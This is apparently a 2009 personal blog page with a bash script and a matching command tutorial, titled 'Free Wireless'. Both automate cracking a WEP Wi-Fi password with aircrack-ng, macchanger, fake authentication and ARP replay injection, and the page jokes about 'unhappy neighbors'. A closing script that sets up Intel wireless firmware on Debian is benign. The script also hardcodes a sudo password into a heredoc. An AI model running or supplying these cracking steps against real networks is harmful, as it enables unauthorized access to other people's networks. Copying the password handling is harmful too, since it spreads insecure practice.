Wireless Hack Bash Script
#!/bin/bash
#
# WARNING: USE AT YOUR OWN RISK!
#
# SIDE EFFECTS: UNHAPPY NEIGHTBORS
#
# Author: ALbertux (Alberto Isaac Ayala Esquivias)
# Mail: <albertux@AyalaSoft.com>
# Web: http://Albertux.AyalaSoft.com
# Script: Wireless Hack
# Tested on: Ubuntu 9.04
# A little trouble using gksudo gnome-terminal
# https://bugs.launchpad.net/ubuntu/+source/gconf2/+bug/328575
# gnome-terminal -e "sudo ...." # could be ...
# TERM=gnome-terminal
TERM=xterm
# A nasty function to run_like_a_root user sending the passwd
function run_like_a_root() {
sudo -S $@ << EOF
your_password
EOF
}
# Restore to normal: ./this_script.sh restore
if [ "$1" == "restore" ]; then
run_like_a_root "airmon-ng stop mon0"
run_like_a_root "/etc/init.d/networking restart"
run_like_a_root "NetworkManager"
exit 1
fi
# Set Wireless Device: ./this_script.sh wlan1
if [ -z $1 ]; then
WDEVICE=wlan0 # Could be diferrent on your notebook
else
WDEVICE=$1 # Set Wireless Device
fi
# Stop Wireless
run_like_a_root airmon-ng stop $WDEVICE
# Kill all fu**ing process using the Wireless Device:
run_like_a_root kill -9 `run_like_a_root airmon-ng start $WDEVICE | grep ^[1-9] | awk ' { print $1 } '`
# Wireless Devices Down (we need to change the Mac)
run_like_a_root ifconfig $WDEVICE down
run_like_a_root ifconfig mon0 down
# Fake Mac, Example:
FAKEMAC=00:66:00:66:00:66
# Set Fake Mac
run_like_a_root macchanger -m $FAKEMAC $WDEVICE
run_like_a_root macchanger -m $FAKEMAC mon0
# Up the Wireless Interface
run_like_a_root ifconfig mon0 up
# See all available networks
run_like_a_root $TERM -e "airodump-ng mon0" &
# Watch the xterm loaded and write the values (maybe you need resize xterm window)
clear
echo "Network Name: "
read ESSID
echo "Network Mac: "
read BSSID
echo "Network Channel: "
read CHANNEL
echo "Close the airodump-ng xterm and press [enter]"
read
# Get Data (IVs)
run_like_a_root $TERM -e "airodump-ng mon0 -w data -c $CHANNEL --bssid $BSSID" &
# Fake Authentication Attack
run_like_a_root $TERM -e "watch aireplay-ng -1 0 -e $ESSID -a $BSSID -h $FAKEMAC mon0" &
# ARP Request
run_like_a_root $TERM -e "aireplay-ng -3 -b $BSSID -h $FAKEMAC mon0" &
# Wait some time ...
echo "Press any kay to launch aircrack-ng (30,000+ on data recommended)"
read
# Crack the Passwd
run_like_a_root $TERM -e "aircrack-ng data-*.cap" &
exit 0
Free Wireless on Ubuntu 9.04
miércoles, 12 de agosto de 2009
Albertux
Free Wireless
Using Ubuntu 9.04:
sudo apt-get install aircrack-ng macchanger
The device name could be different on your machine
sudo airmon-ng stop wlan0
sudo airmon-ng start wlan0
sudo ifconfig wlan0 down
sudo ifconfig mon0 down
sudo macchanger -m $FAKEMAC wlan0
sudo macchanger -m $FAKEMAC mon0
sudo ifconfig mon0 up
sudo airodump-ng mon0 # See all available networks choose one channel
Inject packets:
# terminal 01
sudo airodump-ng mon0 -w wdata -c 6 --bssid 00:00:00:00:00:00 # -c $CHANNEL
# terminal 02
watch sudo aireplay-ng -1 0 -e $SSID -a 00:00:00:00:00:00 -h $FAKEMAC mon0
# terminal 03
sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h $FAKEMAC mon0
# wait some time to get 30,000 on Data on terminal 01
Now get the password:
sudo aircrack-ng wdata-*.cap
See Screens:


Debian Lenny Intel(R) Pro/Wireless
After you install Debian using netInstall using wire interface you can install the firmware that support your wireless interface this is example script:
#!/bin/bash
# Debian Lenny Wireless script for Intel(R) Pro/Wireless 4954 or 3945
# Author: Albertux (Alberto Isaac Ayala Esquivias)
# Mail: <albertoi7@gmail.com>
# Web: http://Albertux.AyalaSoft.com
if [[ $EUID -ne 0 ]]; then
echo "You must be a root user" 2>&1
exit 1
fi
for m in iwl4965 iwl3945
do
model=$(echo `dmesg | grep $m | awk ' { print $3 }' | wc -l`)
if [ $model -ne 0 ]; then
model=$m
break;
fi
done
if [ "$model" != "$m" ]; then
echo -e "\e[01;33mWARNING!"
echo -e "\e[01;33mDoesn't have Intel(R) PRO/Wireless 4965 or 3945 Models\e[00m"
exit;
else
echo -e "\e[01;32mYou have Intel(R) PRO/Wireless $model\e[00m"
fi
firmware=$(echo `dpkg -l | grep firmware-iwlwifi | awk '{ print $1 }'`)
mod=$(echo `lsmod | awk '{ print $1 }' | grep $model`)
if [ "$firmware" != "ii" ]; then
echo -e "Install firmware ..."
apt-get install firmware-iwlwifi
fi
if [ "$model" != "$mod" ]; then
echo -e "Install module ..."
modprobe $model
fi
echo -e "\nname\t description\n"
iwconfig
echo -n "Name of the interface with wireless extensions: "
read iface
ifconfig $iface up
clear
echo -e "Scanning Wireless ..."
iwlist $iface scanning
echo -n "essid: "
read essid
echo -n "Need Key (y/n): "
if [ "$op" = "n" ]; then
iwconfig $iface essid "$essid"
else
echo -n "key: "
read key
iwconfig $iface essid "$essid" key "$key"
fi
echo -n "Static IP? (y/n): "
read op
if [ "$op" = "n" ]; then
dhclient $iface
else
echo -n "What ip you want: "
read ip
ifconfig $iface $ip
fi
echo -n "Gateway: "
read gw
route add default gw $gw $iface